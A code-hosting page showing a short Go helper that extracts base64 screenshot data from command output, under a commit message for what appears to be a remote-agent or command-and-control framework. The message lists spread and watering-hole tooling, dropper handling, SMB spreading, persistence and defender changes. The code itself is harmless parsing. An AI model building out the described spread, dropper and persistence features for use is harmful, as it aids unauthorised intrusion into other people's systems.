1551bd5dad
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
31 lines
726 B
Go
31 lines
726 B
Go
package client
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import "strings"
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func extractScreenshotBase64(out []byte) string {
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s := strings.TrimSpace(string(out))
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s = strings.TrimPrefix(s, "\ufeff")
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best := ""
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for _, part := range strings.Fields(s) {
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var b strings.Builder
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for _, r := range part {
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if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
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b.WriteRune(r)
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}
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}
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cleaned := b.String()
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if len(cleaned) > len(best) {
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best = cleaned
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}
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}
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if len(best) >= 100 {
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return best
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}
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return strings.Map(func(r rune) rune {
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if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
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return r
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}
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return -1
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}, s)
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}
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